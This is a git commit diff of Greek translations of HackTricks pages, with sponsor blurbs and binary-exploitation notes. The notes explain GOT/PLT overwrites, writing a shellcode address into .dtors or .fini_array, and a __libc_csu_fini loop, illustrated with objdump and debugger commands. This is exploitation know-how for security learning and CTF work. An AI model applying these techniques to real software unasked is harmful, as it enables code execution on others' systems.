Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2

This commit is contained in:
Translator 2024-04-07 22:27:03 +00:00
parent fc70665c74
commit 01c425c98d
8 changed files with 376 additions and 137 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 588 KiB

View file

@ -8,7 +8,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
**Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/ό,τι έχω μάθει από CTFs, εφαρμογές στην πραγματική ζωή, αναγνώσεις ερευνών και ειδήσεις.**
{% endhint %}
Για να ξεκινήσετε ακολουθήστε αυτήν τη σελίδα όπου θα βρείτε την **κανονική ροή** που **πρέπει να ακολουθήσετε κατά τον έλεγχο ασφάλειας** ενός ή περισσότερων **μηχανημάτων:**
Για να ξεκινήσετε, ακολουθήστε αυτήν τη σελίδα όπου θα βρείτε την **κανονική ροή** που **πρέπει να ακολουθήσετε κατά τον ελέγχο ασφάλειας** ενός ή περισσότερων **μηχανημάτων:**
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
@ -20,9 +20,9 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας του συνθήματος **HACK THE UNHACKABLE**. Διεξάγουν τη δική τους έρευνα και αναπτύσσουν τα δικά τους εργαλεία χάκερ για να **προσφέρουν αρκετές αξιόλογες υπηρεσίες κυβερνοασφάλειας** όπως ελεγκτικές δοκιμές, Κόκκινες Ομάδες και εκπαίδευση.
[**Η STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας της οποίας το σύνθημα είναι **HACK THE UNHACKABLE**. Διεξάγουν τη δική τους έρευνα και αναπτύσσουν τα δικά τους εργαλεία χάκερ για να **προσφέρουν αρκετές αξιόλογες υπηρεσίες κυβερνοασφάλειας** όπως ελεγκτικές δοκιμές, Κόκκινες Ομάδες και εκπαίδευση.
Μπορείτε να ελέγξετε το **blog** τους στο [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
Μπορείτε να ελέγξετε το **ιστολόγιό τους** στο [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**Η STM Cyber** υποστηρίζει επίσης ανοικτά έργα κυβερνοασφάλειας όπως το HackTricks :)
@ -32,7 +32,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
<figure><img src=".gitbook/assets/image (42).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωηρός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
[**Η RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωντανός χώρος συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
{% embed url="https://www.rootedcon.com/" %}
@ -44,7 +44,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
**Η Intigriti** είναι η **#1 στην Ευρώπη** στην ηθική χρήση και την **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας.**
**Συμβουλή ανταμοιβής ευρημάτων ευπάθειας**: **Εγγραφείτε** στην **Intigriti**, μια προηγμένη **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε ανταμοιβές έως και **$100,000**!
**Συμβουλή ανταμοιβής ευρημάτων:** **Εγγραφείτε** στην **Intigriti**, μια προηγμένη **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε ανταμοιβές έως και **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -55,7 +55,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.
Αποκτήστε πρόσβαση σήμερα:
@ -67,26 +67,21 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ανταμοιβής ευρημάτων ευπάθειας!
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ανταμοιβής ευρημάτων!
**Εισαγωγή στο Hacking**\
Συμετέχετε σε περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του χάκινγκ
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενήμεροι με τον γρήγορο κόσμο του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενήμεροι με τις νεότερες ανταμοιβές ευρημάτων ευπάθειας που ξεκινούν και τις κρίσιμες ενημερώσεις της πλατφόρμας
* **Εισαγωγή στο Χάκινγκ:** Συμμετέχετε σε περιεχόμενο που εξερευνά την αγωνία και τις προκλήσεις του χάκινγκ
* **Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο:** Μείνετε ενήμεροι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
* **Τελευταίες Ανακοινώσεις:** Μείνετε ενήμεροι με τις νεότερες ανταμοιβές ευρημάτων που ξεκινούν και τις κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
***
### [Pentest-Tools.com](https://pentest-tools.com/) - Το απαραίτητο εργαλείο δοκιμών διείσδυσης
### [Pentest-Tools.com](https://pentest-tools.com/) - Το απαραίτητο εργαλείο ελέγχου διείσδυσης
<figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη εγκατάσταση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.
**Άμεσα διαθέσιμη εγκατάσταση για αξιολόγηση ευπαθειών & ελέγχου διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.
{% embed url="https://pentest-tools.com/" %}
@ -96,16 +91,13 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Η SerpApi προσφέρει γρήγορες και εύκολες πραγματικές APIs για **πρόσβαση στα αποτελέσματα αναζήτησης**. Αναζητούν σε μηχανές αναζήτησης, χειρίζονται διακομιστές μεσολάβησης, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
Η SerpApi προσφέρει γρήγορες και εύκολες πραγματικές APIs για **πρόσβαση στα αποτελέσματα αναζήτησης στις μηχανές αναζήτησης**. Κάνουν scraping στις μηχανές αναζήτησης, χειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
Η συνδρομή σε ένα από τα σχέδια της SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικές APIs για την ανάκτηση δεδομένων από διάφορες μηχανές αναζήτησης, συμπεριλαμβανομένων Google, Bing, Baidu, Yahoo, Yandex και άλλων.
Σε αντίθεση με άλλους παρόχους, η SerpApi δεν απλώς αναζητά οργανικά αποτελέσματα. Οι απαντήσεις της SerpApi περιλαμβάνουν συνεχώς όλες τις διαφημίσεις, εικόνες και βίντεο, γνωστικά γραφήματα και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης.
Οι τρέχοντες πελάτες της SerpApi περιλαμβάνουν την Apple, τη Shopify και τη GrubHub.
Για περισσότερες πληροφορίες ελέγξτε το [blog](https://serpapi.com/blog/)** τους, ή δοκιμάστε ένα παράδειγμα στο [**παιχνίδι**](https://serpapi.com/playground)** τους.**
Η συνδρομή σε ένα από τα σχέδια της SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικές APIs για scraping διαφορετικών μηχανών αναζήτησης, συμπεριλαμβανομένων Google, Bing, Baidu, Yahoo, Yandex και άλλων.\
Σε αντίθεση με άλλους παρόχους, **η SerpApi δεν κάνει απλώς scraping οργανικών αποτελεσμάτων**. Οι απαντήσεις της SerpApi περιλαμβάνουν συνεχώς όλες τις διαφημίσεις, ενσωματωμένες εικόνες και βίντεο, γνωσιακούς γράφους και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης.
Οι τρέχοντες πελάτες της SerpApi περιλαμβάνουν την **Apple, τη Shopify και τη GrubHub**.\
Για περισσότερες πληροφορίες ελέγξτε το [**ιστολόγιό τους**](https://serpapi.com/blog/)**,** ή δοκιμάστε ένα παράδειγμα στο [**παιχνίδι τους**](https://serpapi.com/playground)**.**\
Μπορείτε να **δημιουργήσετε ένα δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign\_up)**.**
***
@ -120,11 +112,9 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
### [WebSec](https://websec.nl/)
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθάει στην **προστασία** επιχειρήσεων **σε όλο τον κόσμο** ενάντια στις τελευταίες κυβερνοασφάλειας απειλές παρέχοντας **υπηρεσίες επιθετικής ασφάλειας** με μια **σύγχρονη** προσέγγιση.
Η WebSec ε
[**Η WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθάει στην **προστασία** επιχειρήσεων **σε όλο τον κόσμο** ενάντια στις τελευταίες κυβερνοασφάλειας απειλές παρέχοντας υπηρεσίες **επιθετικής ασφάλειας** με μια **σ
## Άδεια χρήσης & Αποποίηση Ευθυνών
Ελέγξτε τα παρακάτω:
@ -141,7 +131,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.

View file

@ -20,11 +20,11 @@
Ο **Πίνακας Παγκόσμιας Μετατόπισης (GOT)** είναι ένας μηχανισμός που χρησιμοποιείται σε δυναμικά συνδεδεμένα δυαδικά αρχεία για τη διαχείριση των **διευθύνσεων εξωτερικών συναρτήσεων**. Δεδομένου ότι αυτές οι **διευθύνσεις δεν είναι γνωστές μέχρι την εκτέλεση** (λόγω δυναμικής σύνδεσης), ο GOT παρέχει έναν τρόπο για τη **δυναμική ενημέρωση των διευθύνσεων αυτών των εξωτερικών συμβόλων** μόλις αυτά επιλυθούν.
Κάθε καταχώρηση στο GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από το δυναμικό συνδέτη και αποθηκεύεται στο GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που αποθηκεύεται στο GOT, αποφεύγοντας έτσι την υπερβολική καθυστέρηση της επίλυσης της διεύθυνσης.
Κάθε καταχώρηση στο GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από το δυναμικό συνδέτη και αποθηκεύεται στο GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που αποθηκεύεται στο GOT, αποφεύγοντας έτσι την επιβάρυνση της επίλυσης της διεύθυνσης ξανά.
### **PLT: Πίνακας Σύνδεσης Διαδικασίας**
Ο **Πίνακας Σύνδεσης Διαδικασίας (PLT)** λειτουργεί στενά με το GOT και λειτουργεί ως τραμπολίνα για τη διαχείριση κλήσεων σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος περνά σε μια καταχώρηση στο PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέτη για την επίλυση της διεύθυνσης της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού η διεύθυνση επιλυθεί, αποθηκεύεται στο **GOT**.
Ο **Πίνακας Σύνδεσης Διαδικασίας (PLT)** λειτουργεί στενά με το GOT και λειτουργεί ως τραμπολίνο για τη διαχείριση κλήσεων σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος περνά σε μια καταχώρηση στο PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέτη για την επίλυση της διεύθυνσης της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού η διεύθυνση επιλυθεί, αποθηκεύεται στο **GOT**.
**Συνεπώς,** οι καταχωρήσεις GOT χρησιμοποιούνται απευθείας μόλις επιλυθεί η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής. **Οι καταχωρήσεις PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέτη.
@ -38,7 +38,7 @@
Παρατηρήστε πώς μετά τη **φόρτωση** του **εκτελέσιμου** στο GEF μπορείτε να **δείτε** τις **συναρτήσεις** που βρίσκονται στο **GOT**: `gef➤ x/20x 0xDIR_GOT`
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Χρησιμοποιώντας το GEF μπορείτε να **ξεκινήσετε** μια **συνεδρία αποσφαλμάτωσης** και να εκτελέσετε το **`got`** για να δείτε τον πίνακα got:
@ -50,10 +50,18 @@
Ιδανικά, θα **αντικαταστήσετε** το **GOT** μιας **συνάρτησης** που **θα κληθεί με παραμέτρους που ελέγχετε εσείς** (ώστε να μπορείτε να ελέγξετε τις παραμέτρους που στέλνονται στη συνάρτηση συστήματος).
Αν **η `system`** **δεν χρησιμοποιείται** από το σενάριο, η συνάρτηση συστήματος **δεν θα έχει μια καταχώρηση στο PLT**. Σε αυτό το σενάριο, θα **χρειαστεί να διαρρεύσετε πρώτα τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να αντικαταστήσετε το GOT για να δείχνει σε αυτή τη διεύθυνση.
Αν **η `system`** **δεν χρησιμοποιείται** από το σενάριο, η συνάρτηση συστήματος **δεν θα** έχει μια καταχώρηση στο PLT. Σε αυτό το σενάριο, θα **χρειαστεί να διαρρεύσετε πρώτα τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να αντικαταστήσετε το GOT για να δείχνει σε αυτή τη διεύθυνση.
Μπορείτε να δείτε τις διευθύνσεις PLT με **`objdump -j .plt -d ./vuln_binary`**
## Καταχωρήσεις GOT της libc
Ο **GOT της libc** συνήθως μεταγλωττίζεται με **μερικό RELRO**, κάνοντάς το ένα καλό στόχο για αυτό υποθέτοντας ότι είναι δυνατό να βρεθεί η διεύθυνσή του ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Συνήθεις συναρτήσεις της libc θα καλέσουν **άλλες εσωτερικές συναρτήσεις** των οποίων ο GOT θα μπορούσε να αντικατασταθεί για να επιτευχθεί εκτέλεση κώδικα.
Βρείτε [**περισσότερες πληροφορίες για αυτή την τεχνική εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
## **One Gadget**
{% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %}
@ -62,7 +70,7 @@
## **Προστασίες**
Η προστασία **Full RELRO** έχει σκοπό να προστατεύσει από αυτού του είδους την τεχνική με την επίλυση όλων των διευθύνσεων των συναρτήσεων όταν ξεκινάει το δυαδικό και καθιστώντας τον **πίνακα GOT μόνο για ανάγνωση** μετά από αυτό:
Η προστασία **Full RELRO** έχει σκοπό να προστατεύσει από αυτού του είδους την τεχνική επιλύοντας όλες τις διευθύνσεις των συναρτήσεων όταν το δυαδικό ξεκινά και καθιστώντας τον **πίνακα GOT μόνο για ανάγνωση** μετά από αυτό:
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md)
@ -71,14 +79,4 @@
## Αναφορές
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλ
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.git

View file

@ -6,11 +6,11 @@
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>
@ -28,15 +28,15 @@
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Συνήθως θα βρείτε τα **σήματα DTOR** **μεταξύ** των τιμών `ffffffff` και `00000000`. Έτσι αν βλέπετε μόνο αυτές τις τιμές, σημαίνει ότι **δεν υπάρχει καμία συνάρτηση που έχει καταχωρηθεί**. Επομένως, **αντικαταστήστε** το **`00000000`** με τη **διεύθυνση** του **shellcode** για να το εκτελέσετε.
Συνήθως θα βρείτε τα **σήματα DTOR** **μεταξύ** των τιμών `ffffffff` και `00000000`. Έτσι, αν βλέπετε μόνο αυτές τις τιμές, σημαίνει ότι **δεν υπάρχει καμία συνάρτηση που έχει καταχωρηθεί**. Επομένως, **αντικαταστήστε** το **`00000000`** με τη **διεύθυνση** του **shellcode** για να το εκτελέσετε.
{% hint style="warning" %}
Φυσικά, πρώτα πρέπει να βρείτε ένα **μέρος για να αποθηκεύσετε το shellcode** ώστε να το καλέσετε αργότερα.
Φυσικά, πρέπει πρώτα να βρείτε ένα **μέρος για να αποθηκεύσετε το shellcode** ώστε να το καλέσετε αργότερα.
{% endhint %}
## **.fini\_array**
Ουσιαστικά αυτή είναι μια δομή με **συναρτήσεις που θα κληθούν** πριν το πρόγραμμα ολοκληρωθεί, όπως η **`.dtors`**. Αυτό είναι ενδιαφέρον όταν μπορείτε να καλέσετε το **shellcode απλά με ένα άλμα σε μια διεύθυνση**, ή σε περιπτώσεις όπου χρειάζεται να πάτε **πίσω στο `main`** ξανά για να **εκμεταλλευτείτε την ευπάθεια μια δεύτερη φορά**.
Ουσιαστικά αυτή είναι μια δομή με **συναρτήσεις που θα κληθούν** πριν το πρόγραμμα ολοκληρωθεί, όπως η **`.dtors`**. Αυτό είναι ενδιαφέρον όταν μπορείτε να καλέσετε το **shellcode απλά αναπηδώντας σε μια διεύθυνση**, ή σε περιπτώσεις όπου χρειάζεται να πάτε **πίσω στο `main`** ξανά για να **εκμεταλλευτείτε την ευπάθεια μια δεύτερη φορά**.
```bash
objdump -s -j .fini_array ./greeting
@ -47,14 +47,228 @@ Contents of section .fini_array:
#Put your address in 0x8049934
```
#### Αιώνιος βρόχος
Σημειώστε ότι όταν εκτελείται μια συνάρτηση από το **`.fini_array`** μετακινείται στην επόμενη, οπότε δεν θα εκτελεστεί πολλές φορές (αποτρέποντας ατέρμονες βρόχους), αλλά θα σας δώσει μόνο 1 **εκτέλεση της συνάρτησης** που τοποθετήθηκε εδώ.
Για να εκμεταλλευτείτε το **`.fini_array`** για να έχετε έναν αιώνιο βρόχο μπορείτε να [**ελέγξετε τι έγινε εδώ**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Αν έχετε τουλάχιστον 2 καταχωρήσεις στο **`.fini_array`**, μπορείτε:
Σημειώστε ότι οι καταχωρήσεις στο `.fini_array` καλούνται με **αντίστροφη** σειρά, οπότε πιθανόν θέλετε να ξεκινήσετε την εγγραφή από την τελευταία.
#### Ατέρμονη βρόχος
Για να εκμεταλλευτείτε το **`.fini_array`** για να έχετε έναν ατέρμονο βρόχο μπορείτε να [**ελέγξετε τι έγινε εδώ**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Αν έχετε τουλάχιστον 2 καταχωρήσεις στο **`.fini_array`**, μπορείτε:
* Χρησιμοποιήστε την πρώτη εγγραφή σας για να **καλέσετε ξανά την ευπάθεια της αυθαίρετης εγγραφής**
* Στη συνέχεια, υπολογίστε τη διεύθυνση επιστροφής στη στοίβα που αποθηκεύεται από το **`__libc_csu_fini`** (η συνάρτηση που καλεί όλες τις συναρτήσεις του `.fini_array`) και τοποθετήστε εκεί τη **διεύθυνση του `__libc_csu_fini`**
* Αυτό θα κάνει το **`__libc_csu_fini`** να καλέσει ξανά τον εαυτό του εκτελώντας τις συναρτήσεις του **`.fini_array`** ξανά, οι οποίες θα καλέσουν την ευάθεια της συνάρτησης WWW 2 φορές: μία για την **αυθαίρετη εγγραφή** και μια για να αντικαταστήσει ξανά τη **διεύθυνση επιστροφής του `__libc_csu_fini`** στη στοίβα για να καλέσει ξανά τον εαυτό του.
* Στη συνέχεια, υπολογίστε τη διεύθυνση επιστροφής στη στοίβα που αποθηκεύεται από το **`__libc_csu_fini`** (η συνάρτηση που καλεί όλες τις λειτουργίες του `.fini_array`) και τοποθετήστε εκεί τη **διεύθυνση του `__libc_csu_fini`**
* Αυτό θα κάνει το **`__libc_csu_fini`** να καλέσει ξανά τον εαυτό του εκτελώντας τις λειτουργίες του **`.fini_array`** ξανά, οι οποίες θα καλέσουν την ευάθροτη WWW συνάρτηση 2 φορές: μία για την **αυθαίρετη εγγραφή** και μια για να αντικαταστήσει ξανά τη **διεύθυνση επιστροφής του `__libc_csu_fini`** στη στοίβα για να καλέσει ξανά τον εαυτό του.
{% hint style="danger" %}
Σημειώστε ότι με [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** η ενότητα **`.fini_array`** γίνεται **μόνο για ανάγνωση**.
Σημειώστε ότι με [**Πλήρη RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** η ενότητα **`.fini_array`** γίνεται **μόνο για ανάγνωση**.
{% endhint %}
## link\_map
Όπως εξηγείται [**σε αυτήν την ανάρτηση**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), Αν το πρόγραμμα τερματίσει χρησιμοποιώντας `return` ή `exit()` θα εκτελέσει το `__run_exit_handlers()` που θα καλέσει τους εγγεγραμμένους καταστροφείς.
{% hint style="danger" %}
Αν το πρόγραμμα τερματίσει μέσω της λειτουργίας **`_exit()`**, θα καλέσει τη **κλήση συστήματος `exit`** και οι χειριστές εξόδου δεν θα εκτελεστούν. Έτσι, για να επιβεβαιώσετε ότι το `__run_exit_handlers()` εκτελείται μπορείτε να ορίσετε ένα σημείο διακοπής σε αυτό.
{% endhint %}
Ο σημαντικός κώδικας είναι ([πηγή](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
